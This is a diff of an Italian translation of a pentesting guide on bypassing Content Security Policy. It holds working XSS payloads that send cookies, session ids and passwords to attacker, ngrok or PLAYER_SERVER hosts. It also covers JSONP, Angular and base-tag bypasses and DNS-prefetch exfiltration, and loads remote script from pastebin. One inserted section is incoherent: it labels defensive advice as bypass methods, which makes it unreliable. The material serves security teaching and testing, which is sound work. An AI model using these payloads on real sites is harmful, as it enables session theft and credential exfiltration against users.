Da qui, se trovi una XSS e un caricamento di file, e riesci a trovare un'estensione **interpretata erroneamente**, potresti provare a caricare un file con quell'estensione e il contenuto dello script. Oppure, se il server sta controllando il formato corretto del file caricato, crea un poliglotta ([alcuni esempi di poliglotti qui](https://github.com/Polydet/polyglot-database)).
|
||||
|
||||
### Azione del modulo
|
||||
|
||||
Se non è possibile iniettare JS, potresti comunque provare a esfiltrare ad esempio credenziali **iniettando un'azione del modulo** (e magari aspettandoti che i gestori di password riempiano automaticamente le password). Puoi trovare un [**esempio in questo rapporto**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Inoltre, nota che `default-src` non copre le azioni dei moduli.
|
||||
Se non è possibile iniettare JS, potresti comunque provare a esfiltrare ad esempio credenziali **iniettando un'azione del modulo** (e magari aspettandoti che i gestori di password riempiano automaticamente le password). Puoi trovare un [**esempio in questo rapporto**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Inoltre, nota che `default-src` non copre le azioni del modulo.
|
||||
|
||||
### Endpoint di terze parti + ('unsafe-eval')
|
||||
|
||||
|
@ -229,7 +229,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
|||
#### Payloads che utilizzano Angular + una libreria con funzioni che restituiscono l'oggetto `window` ([controlla questo post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
|
||||
{% hint style="info" %}
|
||||
Il post mostra che potresti **caricare** tutte le **librerie** da `cdn.cloudflare.com` (o da qualsiasi altro repository di librerie JS consentito), eseguire tutte le funzioni aggiunte da ciascuna libreria e verificare **quali funzioni restituiscono l'oggetto `window`** da quali librerie.
|
||||
Il post mostra che è possibile **caricare** tutte le **librerie** da `cdn.cloudflare.com` (o da qualsiasi altro repository di librerie JS consentito), eseguire tutte le funzioni aggiunte da ciascuna libreria e verificare **quali funzioni restituiscono l'oggetto `window` da quali librerie**.
|
||||
{% endhint %}
|
||||
```markup
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||||
|
@ -254,9 +254,7 @@ Il post mostra che potresti **caricare** tutte le **librerie** da `cdn.cloudflar
|
|||
{{[].erase.call().alert('xss')}}
|
||||
</div>
|
||||
```
|
||||
### Bypassing Content Security Policy (CSP) with Angular XSS from a class name:
|
||||
|
||||
### Ignorare la Policy di Sicurezza dei Contenuti (CSP) con XSS da un nome di classe in Angular:
|
||||
### Bypass di Angular XSS da un nome di classe:
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
|
@ -302,7 +300,7 @@ https://www.google.com/amp/s/example.com/
|
|||
```http
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
Gli scenari come questo in cui `script-src` è impostato su `self` e su un particolare dominio che è nella whitelist possono essere bypassati utilizzando JSONP. Gli endpoint JSONP consentono metodi di callback non sicuri che permettono a un attaccante di eseguire XSS, payload funzionante:
|
||||
Scenari come questo in cui `script-src` è impostato su `self` e su un particolare dominio che è nella whitelist possono essere bypassati utilizzando JSONP. Gli endpoint JSONP consentono metodi di callback non sicuri che permettono a un attaccante di eseguire XSS, payload funzionante:
|
||||
```markup
|
||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||
|
@ -339,38 +337,25 @@ Content-Security-Policy: default-src 'self’ www.facebook.com;
|
|||
```
|
||||
# Bypass di Content Security Policy (CSP)
|
||||
|
||||
---
|
||||
Quando si tratta di aggirare una Content Security Policy (CSP), ci sono diversi modi per farlo. Di seguito sono riportati alcuni metodi comuni utilizzati per aggirare una CSP:
|
||||
|
||||
## Introduzione
|
||||
1. **Inline Script**: Evitare l'uso di script inline direttamente nella pagina HTML.
|
||||
2. **External Resources**: Caricare script da risorse esterne autorizzate nella CSP.
|
||||
3. **Nonce**: Utilizzare nonce per consentire l'esecuzione di script specifici.
|
||||
4. **Unsafe Inline**: Evitare l'uso di 'unsafe-inline' nella direttiva `script-src`.
|
||||
5. **Eval Function**: Evitare l'uso della funzione `eval()` nei tuoi script.
|
||||
6. **Trusted Types**: Utilizzare Trusted Types per mitigare i rischi di XSS.
|
||||
|
||||
Nel contesto della sicurezza delle applicazioni web, le Content Security Policy (CSP) sono un meccanismo di difesa cruciale per mitigare attacchi come l'esecuzione di script non autorizzati. Tuttavia, è possibile aggirare queste politiche di sicurezza in diversi modi.
|
||||
|
||||
## Bypass tramite Inline Script
|
||||
|
||||
Una delle tecniche comuni per aggirare una CSP è l'utilizzo di script inline direttamente nell'HTML della pagina. Anche se le CSP ben configurate dovrebbero bloccare gli script inline, è possibile sfruttare vulnerabilità come le injection di script cross-site (XSS) per eseguire codice JavaScript arbitrario.
|
||||
|
||||
Per eseguire questa tecnica, è necessario trovare un modo per iniettare il codice JavaScript all'interno del contenuto della pagina web.
|
||||
|
||||
## Bypass tramite Inline Style
|
||||
|
||||
Anche l'utilizzo di stili inline può essere sfruttato per aggirare una CSP. Se la politica CSP consente stili inline, è possibile inserire codice JavaScript all'interno degli attributi di stile per eseguire script arbitrari.
|
||||
|
||||
Ad esempio, un attaccante potrebbe utilizzare un payload come `<div style="background-image: url('javascript:alert(1)')">` per eseguire codice JavaScript all'interno di un attributo di stile.
|
||||
|
||||
---
|
||||
|
||||
## Conclusione
|
||||
|
||||
Le CSP sono uno strumento potente per proteggere le applicazioni web da vari tipi di attacchi, ma è fondamentale comprendere che possono essere aggirate se non configurate correttamente. Gli sviluppatori e i ricercatori di sicurezza devono essere consapevoli di queste tecniche di bypass e assicurarsi di implementare e configurare correttamente le CSP per garantire la massima sicurezza delle applicazioni web.
|
||||
Ricorda che bypassare una CSP è considerato una pratica non sicura e dovrebbe essere evitato.
|
||||
```
|
||||
Content-Security-Policy: connect-src www.facebook.com;
|
||||
```
|
||||
Dovresti essere in grado di esfiltrare dati, allo stesso modo in cui è sempre stato fatto con [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). In questo caso, segui questi passaggi generali:
|
||||
|
||||
1. Crea un account sviluppatore Facebook qui.
|
||||
1. Crea un account sviluppatore su Facebook qui.
|
||||
2. Crea una nuova app "Facebook Login" e seleziona "Sito web".
|
||||
3. Vai su "Impostazioni -> Base" e ottieni il tuo "ID app"
|
||||
4. Nel sito di destinazione da cui desideri esfiltrare i dati, puoi farlo direttamente utilizzando il gadget SDK di Facebook "fbq" tramite un "customEvent" e il payload dei dati.
|
||||
3. Vai su "Impostazioni -> Base" e ottieni il tuo "ID app".
|
||||
4. Nel sito di destinazione da cui desideri esfiltrare i dati, puoi farlo direttamente utilizzando il gadget SDK di Facebook "fbq" attraverso un "customEvent" e il payload dei dati.
|
||||
5. Vai al "Gestore eventi" della tua app e seleziona l'applicazione che hai creato (nota che il gestore eventi potrebbe essere trovato in un URL simile a questo: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
|
||||
6. Seleziona la scheda "Eventi di test" per vedere gli eventi inviati dal sito web "tuo".
|
||||
|
||||
|
@ -381,7 +366,7 @@ fbq('trackCustom', 'My-Custom-Event',{
|
|||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||||
});
|
||||
```
|
||||
Come per gli altri sette domini di terze parti specificati nella tabella precedente, ci sono molti altri modi per abusarne. Fare riferimento al precedente [post sul blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) per ulteriori spiegazioni sugli altri abusi di terze parti.
|
||||
Per gli altri sette domini di terze parti specificati nella tabella precedente, ci sono molti altri modi per abusarne. Fare riferimento al precedente [post sul blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) per ulteriori spiegazioni sugli altri abusi di terze parti.
|
||||
|
||||
### Bypass tramite RPO (sovrascrittura del percorso relativo) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
|
@ -409,27 +394,27 @@ Esempio online: [ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin
|
|||
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### manca **base-uri**
|
||||
### mancante **base-uri**
|
||||
|
||||
Se la direttiva **base-uri** manca, è possibile abusarne per eseguire un [**iniezione di markup pendente**](../dangling-markup-html-scriptless-injection/).
|
||||
Se la direttiva **base-uri** è assente, è possibile abusarne per eseguire un [**iniezione di markup pendente**](../dangling-markup-html-scriptless-injection/).
|
||||
|
||||
Inoltre, se la **pagina sta caricando uno script usando un percorso relativo** (come `<script src="/js/app.js">`) utilizzando un **Nonce**, è possibile abusare del **tag base** per farlo **caricare** lo script dal **proprio server ottenendo un XSS.**\
|
||||
Se la pagina vulnerabile viene caricata con **httpS**, utilizzare un URL httpS nel base.
|
||||
Se la pagina vulnerabile viene caricata con **httpS**, utilizzare un URL httpS nel tag base.
|
||||
```html
|
||||
<base href="https://www.attacker.com/">
|
||||
```
|
||||
### Eventi di AngularJS
|
||||
|
||||
Una specifica politica nota come Content Security Policy (CSP) potrebbe limitare gli eventi JavaScript. Tuttavia, AngularJS introduce eventi personalizzati come alternativa. All'interno di un evento, AngularJS fornisce un oggetto unico `$event`, che fa riferimento all'oggetto evento del browser nativo. Questo oggetto `$event` può essere sfruttato per aggirare il CSP. In particolare, in Chrome, l'oggetto `$event/event` possiede un attributo `path`, che contiene un array di oggetti implicati nella catena di esecuzione dell'evento, con l'oggetto `window` posizionato invariabilmente alla fine. Questa struttura è fondamentale per le tattiche di escape della sandbox.
|
||||
Una specifica politica nota come Content Security Policy (CSP) potrebbe limitare gli eventi JavaScript. Tuttavia, AngularJS introduce eventi personalizzati come alternativa. All'interno di un evento, AngularJS fornisce un oggetto unico `$event`, che fa riferimento all'oggetto evento nativo del browser. Questo oggetto `$event` può essere sfruttato per aggirare il CSP. In particolare, in Chrome, l'oggetto `$event/event` possiede un attributo `path`, che contiene un array di oggetti implicati nella catena di esecuzione dell'evento, con l'oggetto `window` posizionato invariabilmente alla fine. Questa struttura è fondamentale per le tattiche di escape del sandbox.
|
||||
|
||||
Indirizzando questo array al filtro `orderBy`, è possibile iterare su di esso, sfruttando l'elemento terminale (l'oggetto `window`) per attivare una funzione globale come `alert()`. Il frammento di codice dimostrato di seguito chiarisce questo processo:
|
||||
Indirizzando questo array al filtro `orderBy`, è possibile iterare su di esso, sfruttando l'elemento terminale (l'oggetto `window`) per attivare una funzione globale come `alert()`. Il frammento di codice dimostrativo di seguito chiarisce questo processo:
|
||||
```xml
|
||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||
```
|
||||
Questo frammento evidenzia l'uso della direttiva `ng-focus` per attivare l'evento, utilizzando `$event.path|orderBy` per manipolare l'array `path`, e sfruttando l'oggetto `window` per eseguire la funzione `alert()`, rivelando così `document.cookie`.
|
||||
Questo frammento mette in evidenza l'uso della direttiva `ng-focus` per attivare l'evento, impiegando `$event.path|orderBy` per manipolare l'array `path`, e sfruttando l'oggetto `window` per eseguire la funzione `alert()`, rivelando così `document.cookie`.
|
||||
|
||||
**Trova altri bypass di Angular in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||||
**Trova altri bypass Angular in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||||
|
||||
### AngularJS e dominio in whitelist
|
||||
```
|
||||
|
@ -451,7 +436,7 @@ Altri endpoint di esecuzione arbitraria JSONP possono essere trovati [**qui**](h
|
|||
|
||||
Cosa succede quando CSP incontra una redirezione lato server? Se la redirezione porta a un'origine diversa non consentita, fallirà comunque.
|
||||
|
||||
Tuttavia, secondo la descrizione nella [specifiche CSP 4.2.2.3. Percorsi e Redirect](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), se la redirezione porta a un percorso diverso, può eludere le restrizioni originali.
|
||||
Tuttavia, secondo la descrizione in [specifica CSP 4.2.2.3. Percorsi e Redirect](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), se la redirezione porta a un percorso diverso, può eludere le restrizioni originali.
|
||||
|
||||
Ecco un esempio:
|
||||
```html
|
||||
|
@ -469,13 +454,13 @@ Ecco un esempio:
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
Se CSP è impostato su `https://www.google.com/a/b/c/d`, poiché viene considerato il percorso, entrambi gli script `/test` e `/a/test` verranno bloccati da CSP.
|
||||
Se CSP è impostato su `https://www.google.com/a/b/c/d`, poiché il percorso è considerato, entrambi gli script `/test` e `/a/test` saranno bloccati da CSP.
|
||||
|
||||
Tuttavia, il finale `http://localhost:5555/301` verrà **reindirizzato lato server a `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Poiché si tratta di un reindirizzamento, il **percorso non viene considerato**, e lo **script può essere caricato**, eludendo così la restrizione del percorso.
|
||||
Tuttavia, il finale `http://localhost:5555/301` verrà **reindirizzato sul lato server a `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Poiché si tratta di un reindirizzamento, il **percorso non è considerato**, e lo **script può essere caricato**, eludendo così la restrizione del percorso.
|
||||
|
||||
Con questo reindirizzamento, anche se il percorso è specificato completamente, verrà comunque eluso.
|
||||
|
||||
Pertanto, la soluzione migliore è assicurarsi che il sito web non abbia vulnerabilità di reindirizzamento aperto e che non ci siano domini che possono essere sfruttati nelle regole CSP.
|
||||
Pertanto, la soluzione migliore è assicurarsi che il sito web non abbia vulnerabilità di reindirizzamento aperto e che non ci siano domini che possano essere sfruttati nelle regole CSP.
|
||||
|
||||
### Eludere CSP con markup sospeso
|
||||
|
||||
|
@ -487,13 +472,13 @@ default-src 'self' 'unsafe-inline'; img-src *;
|
|||
```
|
||||
`'unsafe-inline'` significa che è possibile eseguire qualsiasi script all'interno del codice (XSS può eseguire codice) e `img-src *` significa che è possibile utilizzare nella pagina web qualsiasi immagine da qualsiasi risorsa.
|
||||
|
||||
È possibile aggirare questo CSP esfiltrando i dati tramite immagini (in questo caso, il XSS sfrutta un CSRF in cui una pagina accessibile dal bot contiene un SQLi e estrae il flag tramite un'immagine):
|
||||
È possibile aggirare questa CSP esfiltrando i dati tramite immagini (in questo caso, il XSS sfrutta un CSRF in cui una pagina accessibile dal bot contiene un SQLi e estrae il flag tramite un'immagine):
|
||||
```javascript
|
||||
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
|
||||
```
|
||||
Da: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
|
||||
È possibile abusare di questa configurazione per **caricare codice JavaScript inserito all'interno di un'immagine**. Ad esempio, se la pagina consente il caricamento di immagini da Twitter, è possibile **creare** un'**immagine speciale**, caricarla su Twitter e abusare dell'opzione "**unsafe-inline**" per **eseguire** un codice JS (come un XSS regolare) che **caricherà** l'**immagine**, **estrarrà** il **JS** da essa e lo **eseguirà**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
È anche possibile abusare di questa configurazione per **caricare codice JavaScript inserito all'interno di un'immagine**. Se ad esempio la pagina consente il caricamento di immagini da Twitter, è possibile **creare** un'**immagine speciale**, caricarla su Twitter e abusare dell'opzione "**unsafe-inline**" per **eseguire** un codice JS (come un XSS regolare) che **caricherà** l'**immagine**, **estrarrà** il **JS** da essa e lo **eseguirà**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
### Con i Service Workers
|
||||
|
||||
|
@ -525,7 +510,7 @@ Esempio: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y
|
|||
### img-src \*; tramite XSS (iframe) - Attacco temporizzato
|
||||
|
||||
Nota l'assenza della direttiva `'unsafe-inline'`\
|
||||
Questa volta puoi far **caricare** alla vittima una pagina sotto **il tuo controllo** tramite **XSS** con un `<iframe`. Questa volta farai accedere la vittima alla pagina da cui desideri estrarre informazioni (**CSRF**). Non puoi accedere al contenuto della pagina, ma se in qualche modo riesci a **controllare il tempo necessario per il caricamento della pagina** puoi estrarre le informazioni di cui hai bisogno.
|
||||
Questa volta puoi far **caricare** una pagina **sotto il tuo controllo** tramite **XSS** con un `<iframe`. Questa volta farai accedere la vittima alla pagina da cui desideri estrarre informazioni (**CSRF**). Non puoi accedere al contenuto della pagina, ma se in qualche modo riesci a **controllare il tempo necessario per il caricamento della pagina** puoi estrarre le informazioni di cui hai bisogno.
|
||||
|
||||
Questa volta una **bandiera** verrà estratta, ogni volta che un **carattere viene indovinato correttamente** tramite SQLi la **risposta** richiede **più tempo** a causa della funzione di attesa. Quindi, sarai in grado di estrarre la bandiera:
|
||||
```html
|
||||
|
@ -587,9 +572,9 @@ console.log(prefix);
|
|||
run();
|
||||
</script>
|
||||
```
|
||||
### Attraverso i Bookmarklet
|
||||
### Attraverso i Bookmarklets
|
||||
|
||||
Questo attacco implicherebbe un certo tipo di ingegneria sociale in cui l'attaccante **convince l'utente a trascinare e rilasciare un link sul bookmarklet del browser**. Questo bookmarklet conterrà **codice javascript dannoso** che, quando trascinato e rilasciato o cliccato, verrà eseguito nel contesto della finestra web attuale, **bypassando il CSP e consentendo di rubare informazioni sensibili** come cookie o token.
|
||||
Questo attacco implicherebbe un certo tipo di ingegneria sociale in cui l'attaccante **convince l'utente a trascinare e rilasciare un link sul bookmarklet del browser**. Questo bookmarklet conterrà **codice JavaScript dannoso** che, quando trascinato e rilasciato o cliccato, verrà eseguito nel contesto della finestra web attuale, **bypassando il CSP e consentendo di rubare informazioni sensibili** come cookie o token.
|
||||
|
||||
Per ulteriori informazioni [**controlla il report originale qui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
|
||||
|
@ -605,7 +590,7 @@ Puoi **limitare un CSP di un Iframe** con l'attributo **`csp`**:
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Nel [**writeup di questo CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), è stato possibile tramite **iniezione HTML** **limitare** ulteriormente un **CSP** in modo che uno script che previene CSTI fosse disabilitato e quindi la **vulnerabilità diventasse sfruttabile.**\
|
||||
Nel [**questo CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), è stato possibile tramite **iniezione HTML** **limitare ulteriormente** un **CSP** in modo che uno script che previene CSTI fosse disabilitato e quindi la **vulnerabilità diventasse sfruttabile.**\
|
||||
Il CSP può essere reso più restrittivo utilizzando **tag meta HTML** e gli script inline possono essere disabilitati **rimuovendo** l'**entry** che consente il loro **nonce** e **abilitando script inline specifici tramite sha**:
|
||||
```html
|
||||
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
|
||||
|
@ -615,7 +600,7 @@ Il CSP può essere reso più restrittivo utilizzando **tag meta HTML** e gli scr
|
|||
```
|
||||
### Esfiltrazione JS con Content-Security-Policy-Report-Only
|
||||
|
||||
Se riesci a far sì che il server risponda con l'intestazione **`Content-Security-Policy-Report-Only`** con un **valore controllato da te** (forse a causa di un CRLF), potresti farlo puntare al tuo server e se **avvolgi** il **contenuto JS** che desideri esfiltrare con **`<script>`** e poiché è altamente probabile che `unsafe-inline` non sia consentito dal CSP, ciò **provocherà un errore CSP** e parte dello script (contenente le informazioni sensibili) verrà inviata al server da `Content-Security-Policy-Report-Only`.
|
||||
Se riesci a far sì che il server risponda con l'intestazione **`Content-Security-Policy-Report-Only`** con un **valore controllato da te** (forse a causa di un CRLF), potresti farlo puntare al tuo server e se **avvolgi** il **contenuto JS** che desideri esfiltrare con **`<script>`** e poiché è altamente probabile che `unsafe-inline` non sia consentito dalla CSP, ciò **provocherà un errore CSP** e una parte dello script (contenente le informazioni sensibili) verrà inviata al server da `Content-Security-Policy-Report-Only`.
|
||||
|
||||
Per un esempio [**controlla questo writeup CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
|
||||
|
@ -623,19 +608,19 @@ Per un esempio [**controlla questo writeup CTF**](https://github.com/maple3142/M
|
|||
```javascript
|
||||
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
|
||||
```
|
||||
### Rilevare informazioni con CSP e Iframe
|
||||
### Rilevare Informazioni con CSP e Iframe
|
||||
|
||||
* Viene creato un `iframe` che punta a un URL (chiamiamolo `https://esempio.redirect.com`) che è consentito da CSP.
|
||||
* Questo URL quindi reindirizza a un URL segreto (ad esempio, `https://usersecret.esempio2.com`) che **non è consentito** da CSP.
|
||||
* Ascoltando l'evento `securitypolicyviolation`, è possibile catturare la proprietà `blockedURI`. Questa proprietà rivela il dominio dell'URI bloccato, rivelando il dominio segreto a cui è stato reindirizzato l'URL iniziale.
|
||||
* Questo URL quindi reindirizza a un URL segreto (ad esempio, `https://segretoutente.esempio2.com`) che **non è consentito** da CSP.
|
||||
* Ascoltando l'evento `securitypolicyviolation`, è possibile catturare la proprietà `blockedURI`. Questa proprietà rivela il dominio dell'URI bloccato, rivelando il dominio segreto a cui l'URL iniziale è stato reindirizzato.
|
||||
|
||||
È interessante notare che browser come Chrome e Firefox hanno comportamenti diversi nel gestire gli iframe rispetto a CSP, portando a una possibile divulgazione di informazioni sensibili a causa di un comportamento non definito.
|
||||
È interessante notare che browser come Chrome e Firefox hanno comportamenti diversi nel gestire gli iframe rispetto a CSP, portando a una potenziale divulgazione di informazioni sensibili a causa di un comportamento non definito.
|
||||
|
||||
Un'altra tecnica coinvolge lo sfruttamento dello stesso CSP per dedurre il sottodominio segreto. Questo metodo si basa su un algoritmo di ricerca binaria e sull'aggiustamento del CSP per includere specifici domini che sono deliberatamente bloccati. Ad esempio, se il sottodominio segreto è composto da caratteri sconosciuti, è possibile testare iterativamente diversi sottodomini modificando la direttiva CSP per bloccare o consentire tali sottodomini. Ecco un frammento che mostra come il CSP potrebbe essere configurato per facilitare questo metodo:
|
||||
Un'altra tecnica coinvolge lo sfruttamento dello stesso CSP per dedurre il sottodominio segreto. Questo metodo si basa su un algoritmo di ricerca binaria e sull'adattamento del CSP per includere specifici domini che sono deliberatamente bloccati. Ad esempio, se il sottodominio segreto è composto da caratteri sconosciuti, è possibile testare iterativamente diversi sottodomini modificando la direttiva CSP per bloccare o consentire tali sottodomini. Ecco un frammento che mostra come il CSP potrebbe essere configurato per facilitare questo metodo:
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
Monitorando quali richieste vengono bloccate o consentite dal CSP, è possibile restringere i possibili caratteri nel sotto dominio segreto, alla fine scoprendo l'URL completo.
|
||||
Monitorando quali richieste vengono bloccate o consentite dal CSP, è possibile restringere i possibili caratteri nel sottodominio segreto, svelando alla fine l'URL completo.
|
||||
|
||||
Entrambi i metodi sfruttano le sfumature dell'implementazione e del comportamento del CSP nei browser, dimostrando come le politiche apparentemente sicure possano involontariamente rivelare informazioni sensibili.
|
||||
|
||||
|
@ -658,16 +643,20 @@ Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali d
|
|||
|
||||
## Tecnologie Non Sicure per Bypassare il CSP
|
||||
|
||||
### Errori PHP quando ci sono troppi parametri
|
||||
|
||||
Secondo l'[**ultimo metodo commentato in questo video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), inviando troppi parametri (1001 parametri GET anche se è possibile farlo anche con parametri POST e più di 20 file). Qualsiasi **`header()`** definito nel codice web PHP **non verrà inviato** a causa dell'errore che questo provocherà.
|
||||
|
||||
### Sovraccarico del buffer di risposta PHP
|
||||
|
||||
PHP è noto per **bufferizzare la risposta a 4096** byte per impostazione predefinita. Pertanto, se PHP mostra un avviso, fornendo **abbastanza dati negli avvisi**, la **risposta** verrà **inviata** **prima** dell'**intestazione CSP**, causando l'ignoranza dell'intestazione.\
|
||||
Quindi, la tecnica consiste essenzialmente nel **riempire il buffer di risposta con avvisi** in modo che l'intestazione CSP non venga inviata.
|
||||
Quindi, la tecnica consiste fondamentalmente nel **riempire il buffer di risposta con avvisi** in modo che l'intestazione CSP non venga inviata.
|
||||
|
||||
Idea da [**questo writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
|
||||
### Riscrivi la Pagina di Errore
|
||||
|
||||
Da [**questo writeup**](https://blog.ssrf.kr/69) sembra che fosse possibile bypassare una protezione CSP caricando una pagina di errore (potenzialmente senza CSP) e riscrivendo il suo contenuto.
|
||||
Da [**questo writeup**](https://blog.ssrf.kr/69) sembra che fosse possibile bypassare una protezione CSP caricando una pagina di errore (potenzialmente senza CSP) e riscrivendone il contenuto.
|
||||
```javascript
|
||||
a = window.open('/' + 'x'.repeat(4100));
|
||||
setTimeout(function() {
|
||||
|
@ -676,7 +665,7 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
|||
```
|
||||
### SOME + 'self' + wordpress
|
||||
|
||||
SOME è una tecnica che abusa di un XSS (o XSS altamente limitato) **in un endpoint di una pagina** per **abusare** **di altri endpoint dello stesso origine.** Questo viene fatto caricando l'endpoint vulnerabile da una pagina dell'attaccante e quindi aggiornando la pagina dell'attaccante all'endpoint reale nello stesso origine che si desidera abusare. In questo modo l'**endpoint vulnerabile** può utilizzare l'oggetto **`opener`** nel **payload** per **accedere al DOM** del **vero endpoint da abusare**. Per ulteriori informazioni controlla:
|
||||
SOME è una tecnica che abusa di un XSS (o XSS altamente limitato) **in un endpoint di una pagina** per **abusare** **di altri endpoint della stessa origine.** Questo viene fatto caricando l'endpoint vulnerabile da una pagina dell'attaccante e quindi aggiornando la pagina dell'attaccante all'endpoint reale nella stessa origine che si desidera abusare. In questo modo, l'**endpoint vulnerabile** può utilizzare l'oggetto **`opener`** nel **payload** per **accedere al DOM** del **vero endpoint da abusare**. Per ulteriori informazioni controlla:
|
||||
|
||||
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
|
||||
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
|
||||
|
@ -684,7 +673,7 @@ SOME è una tecnica che abusa di un XSS (o XSS altamente limitato) **in un endpo
|
|||
|
||||
Inoltre, **wordpress** ha un endpoint **JSONP** in `/wp-json/wp/v2/users/1?_jsonp=data` che **rifletterà** i **dati** inviati in output (con la limitazione di solo lettere, numeri e punti).
|
||||
|
||||
Un attaccante può abusare di quell'endpoint per **generare un attacco SOME** contro WordPress e **incorporarlo** all'interno di `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` nota che questo **script** verrà **caricato** perché è **permesso da 'self'**. Inoltre, e poiché WordPress è installato, un attaccante potrebbe abusare dell'**attacco SOME** attraverso l'**endpoint di callback** **vulnerabile** che **bypassa il CSP** per dare più privilegi a un utente, installare un nuovo plugin...\
|
||||
Un attaccante può abusare di quell'endpoint per **generare un attacco SOME** contro WordPress e **inserirlo** all'interno di `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` nota che questo **script** verrà **caricato** perché è **permesso da 'self'**. Inoltre, e poiché WordPress è installato, un attaccante potrebbe abusare dell'**attacco SOME** attraverso l'**endpoint di callback** **vulnerabile** che **bypassa il CSP** per dare più privilegi a un utente, installare un nuovo plugin...\
|
||||
Per ulteriori informazioni su come eseguire questo attacco controlla [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
||||
## Bypass di Esfiltrazione CSP
|
||||
|
@ -700,14 +689,14 @@ document.location = "https://attacker.com/?" + sessionid;
|
|||
```
|
||||
### Tag meta
|
||||
|
||||
Potresti reindirizzare iniettando un tag meta (questo è solo un reindirizzamento, non farà trapelare contenuti)
|
||||
Potresti reindirizzare iniettando un tag meta (questo è solo un reindirizzamento, non farà trapelare il contenuto)
|
||||
```html
|
||||
<meta http-equiv="refresh" content="1; http://attacker.com">
|
||||
```
|
||||
### Prefetch del DNS
|
||||
|
||||
Per caricare le pagine più velocemente, i browser pre-risolvono i nomi host negli indirizzi IP e li memorizzano nella cache per utilizzi successivi.\
|
||||
Puoi indicare a un browser di pre-risolvere un nome host con: `<link rel="dns-prefetch" href="something.com">`
|
||||
Per caricare le pagine più velocemente, i browser risolvono in anticipo i nomi host negli indirizzi IP e li memorizzano nella cache per utilizzi successivi.\
|
||||
Puoi indicare a un browser di risolvere in anticipo un nome host con: `<link rel="dns-prefetch" href="something.com">`
|
||||
|
||||
Potresti abusare di questo comportamento per **esfiltrare informazioni sensibili tramite richieste DNS**:
|
||||
```javascript
|
||||
|
